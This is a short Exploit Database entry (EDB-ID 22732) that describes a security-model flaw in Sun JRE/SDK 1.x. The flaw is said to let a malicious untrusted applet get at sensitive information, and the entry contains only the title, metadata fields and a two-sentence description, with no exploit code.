Sun JRE/SDK 1.x - Untrusted Applet Java Security Model Violation

EDB-ID:

22732




Platform:

Multiple

Date:

It has been reported that the Sun Java Runtime Environment does not properly protect trusted java applets. Because of this, it may be possible for an attacker to use a malicious applet to gain access to sensitive information.
